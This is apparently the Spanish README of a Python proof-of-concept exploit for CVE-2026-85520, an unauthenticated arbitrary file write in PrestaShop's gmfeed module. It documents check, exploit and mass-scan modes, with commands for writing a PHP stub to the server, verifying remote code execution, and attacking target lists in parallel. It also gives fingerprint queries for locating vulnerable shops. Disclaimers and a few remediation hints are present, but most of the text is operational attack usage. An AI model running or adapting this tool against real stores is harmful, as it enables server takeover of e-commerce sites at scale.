
Prueba de concepto en Python para CVE-2026-85520: detecta y explota la escritura arbitraria de archivos sin autenticación en PrestaShop gmfeed feed.php para lograr RCE, con escaneo masivo.
PoC en Python 3 para CVE-2026-85520 — módulo Google Merchant Center Feed (gmfeed) de MyPresta.eu / VEKIA para PrestaShop — escritura arbitraria de archivos sin autenticación en feed.php cuando se utiliza “Save to file” / exportación por URL. CVSS 3.1 9.3 Crítico (Software).
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| Catálogo | https://pocbit.org/pocs/ |
| Módulo | gmfeed (Google Merchant Center Feed) |
| Corrección del proveedor | ≥ 2.3.10 (se recomienda instalar 2.4.1+) |
| CWE | Problemas de clase CWE-20 / CWE-73 / CWE-434 (falta de autenticación + control de ruta/contenido en la escritura) |
gmfeed es un módulo comercial que genera un catálogo de productos XML/CSV para Google Merchant Center en tiendas PrestaShop. En versiones antiguas, cuando el catálogo se generaba por URL y se guardaba en disco (Save to file / cron), el endpoint modules/gmfeed/feed.php podía aceptar, sin autenticación, mediante parámetros opcionales, el nombre del archivo de salida, la ruta, la extensión y el contenido.
El atacante, mediante GET/POST crafted, puede escribir archivos arbitrarios en el servidor (p. ej. pocbit_xxxxx.php) y luego ejecutarlos a través de la web para obtener ejecución remota de código (RCE). Esto significa la toma de control total del servidor de comercio electrónico — pruébelo únicamente en entornos de pentest autorizado / tienda de laboratorio propia.
Según el anuncio del proveedor (MyPresta.eu): las versiones anteriores a 2.3.10 están afectadas; la corrección añade una clave específica de la tienda a las URL de save-to-file y desactiva la escritura no autorizada. No basta con sobrescribir el zip antiguo — el módulo debe eliminarse con “delete module files” e instalarse limpiamente la 2.4.1.
CVE-2026-85520 afecta al módulo gmfeed de PrestaShop (Google Merchant Center Feed de MyPresta.eu). El script de exportación feed.php, cuando el modo guardar en disco es accesible mediante URL (exportsavefile=1 y parámetros de exportación relacionados documentados en los registros de cambios del proveedor), no aplicaba:
modules/gmfeed/ o mediante secuencias de traversal.Impacto: escritura arbitraria de archivos sin autenticación → RCE (ejecutar el .php subido vía HTTP).
Los parámetros públicos del proveedor mencionados en las notas de la versión incluyen export_file_format, exportsavefile y opciones personalizadas de nombre de archivo de exportación añadidas en la línea 2.3.x. Esta PoC rota alias de parámetros comunes (exportfilename, exportfilecontent, export_path, etc.) contra:
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| Modo | Comportamiento |
|---|---|
| check | Detecta gmfeed (feed.php, config.xml, marcadores), analiza la versión del módulo, marca < 2.3.10 |
| check --aggressive | Sonda ligera de guardado en archivo (sin shell permanente; exportsavefile=0 en la ruta de la sonda) |
| exploit | Escribe una sonda pocbit_*.php con el marcador POCBIT-85520-OK, verifica mediante ?pocbit=1 |
| exploit --dry-run | Solo exporta las solicitudes de la sonda (sin colocar la shell) |
| mass | --list + -j → hits.txt / exploited.txt + JSONL |
--lab | feed.php simulado local — debe mostrar exploited: true (verificación de sanidad) |
--force | Omite las protecciones de “módulo ausente / versión corregida” |
Campos JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, module, product.
Seguridad: La carga útil predeterminada es un stub PHP solo con marcador, no una shell interactiva completa. Elimine los archivos escritos después de las pruebas autorizadas.
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
Esperado: [LAB] en verde, JSON "exploited": true, "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php".
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
Verificar manualmente después de la explotación:
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
Salidas:
| Archivo | Contenido |
|---|---|
cve_2026_85520_results.jsonl | Todas las filas de comprobación |
cve_2026_85520_exploit.jsonl | Todas las filas de explotación |
hits.txt | Tabulado: URL, estado, versión |
exploited.txt | Tabulado: URL, shell_url, versión |
Presencia del módulo:
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
Versión (si está expuesta):
/modules/gmfeed/config.xml
Artefactos de feed estáticos (no son prueba de vulnerabilidad por sí solos):
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
Nota: Muchas tiendas ejecutan ≥ 2.3.10 tras el aviso de MyPresta de 2026 — espere patched_version o write_or_verify_failed en las listas de alcance global.
feed.php).modules/gmfeed/ en busca de archivos .php inesperados.Referencia: Anuncio de corrección de seguridad de MyPresta.